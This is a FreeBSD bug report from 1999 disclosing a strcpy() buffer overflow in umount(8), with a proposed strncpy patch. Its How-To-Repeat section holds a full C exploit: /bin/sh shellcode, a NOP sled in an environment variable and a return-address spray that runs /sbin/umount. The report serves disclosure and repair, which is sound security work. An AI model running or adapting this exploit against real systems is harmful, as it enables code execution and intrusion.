From owner-freebsd-bugs  Mon Oct 18 11:50: 5 1999
Delivered-To: freebsd-bugs@freebsd.org
Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21])
	by hub.freebsd.org (Postfix) with ESMTP id EFFAF1515F
	for <freebsd-bugs@FreeBSD.org>; Mon, 18 Oct 1999 11:50:01 -0700 (PDT)
	(envelope-from gnats@FreeBSD.org)
Received: (from gnats@localhost)
	by freefall.freebsd.org (8.9.3/8.9.2) id LAA95884;
	Mon, 18 Oct 1999 11:50:01 -0700 (PDT)
	(envelope-from gnats@FreeBSD.org)
Received: from mx1.lublin.pl (mx1.lublin.pl [212.182.63.76])
	by hub.freebsd.org (Postfix) with ESMTP id 911BD14BD4
	for <FreeBSD-gnats-submit@freebsd.org>; Mon, 18 Oct 1999 11:45:53 -0700 (PDT)
	(envelope-from venglin@lubi.FreeBSD.lublin.pl)
Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:7173 "HELO
        lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP
	id <S3621245AbPJRSpX>; Mon, 18 Oct 1999 20:45:23 +0200
Received: (qmail 5416 invoked by uid 66); 18 Oct 1999 18:45:23 -0000
Received: (qmail 19841 invoked by uid 1001); 18 Oct 1999 14:41:09 -0000
Message-Id: <19991018144109.19840.qmail@lubi.FreeBSD.lublin.pl>
Date: 18 Oct 1999 14:41:09 -0000
From: venglin@lubi.FreeBSD.lublin.pl
Reply-To: venglin@lubi.FreeBSD.lublin.pl
To: FreeBSD-gnats-submit@freebsd.org
X-Send-Pr-Version: 3.2
Subject: bin/14406: [SECURITY] strcpy() buffer overflow in umount(8)
Sender: owner-freebsd-bugs@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.org


>Number:         14406
>Category:       bin
>Synopsis:       [SECURITY] strcpy() buffer overflow in umount(8)
>Confidential:   no
>Severity:       non-critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Oct 18 11:50:00 PDT 1999
>Closed-Date:
>Last-Modified:
>Originator:     Przemyslaw Frasunek
>Release:        FreeBSD 3.2-STABLE i386
>Organization:
Lublin BSD Users Group
>Environment:

	All versions.

>Description:

	It's possible to execute arbitrary code by overflowing buffer in
	umount(8).

	By default umount(8) is NOT installed with setuid or setgid bits set.

>How-To-Repeat:

/*
*
* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
* FreeBSD /sbin/umount exploit.
*
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP		0x90
#define OFS		1800
#define BUFSIZE		1024
#define ADDRS		1200

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
	char *execshell =
	"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
	"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
	"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
	"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

	char *buf, *p;
	int noplen, i, ofs;
	long ret, *ap;

	if(!(buf = (char *)malloc(BUFSIZE+1)))
	{
		perror("malloc()");
		return -1;
	}

	if (argc > 2)
		ofs = atoi(argv[1]);
	else
		ofs = OFS;

	noplen = BUFSIZE - strlen(execshell);
	ret = getesp() + ofs;

	memset(buf, NOP, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, execshell);

	setenv("EGG", buf, 1);

        if(!(buf = (char *)malloc(ADDRS+1)))      
        {
                perror("malloc()");
                return -1;
	}

	p = buf;
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

	fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

	chmod(".", 0);		// fuck da realpath()!

	execl("/sbin/umount", "umount", buf, 0);

	return 0;
}

>Fix:
	
*** sbin/umount/umount.c.orig	Mon Aug  3 08:44:46 1998
--- sbin/umount/umount.c	Mon Oct 18 16:36:49 1999
***************
*** 215,221 ****
  
  	if (realpath(name, rname) == NULL) {
  		/* Continue and let the system call check it... */
! 		strcpy(rname, name);
  	}
  
  	origname = name;
--- 215,222 ----
  
  	if (realpath(name, rname) == NULL) {
  		/* Continue and let the system call check it... */
! 		strncpy(rname, name, MAXPATHLEN-1);
! 		rname[MAXPATHLEN] = '\0';
  	}
  
  	origname = name;

>Release-Note:
>Audit-Trail:
>Unformatted:


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message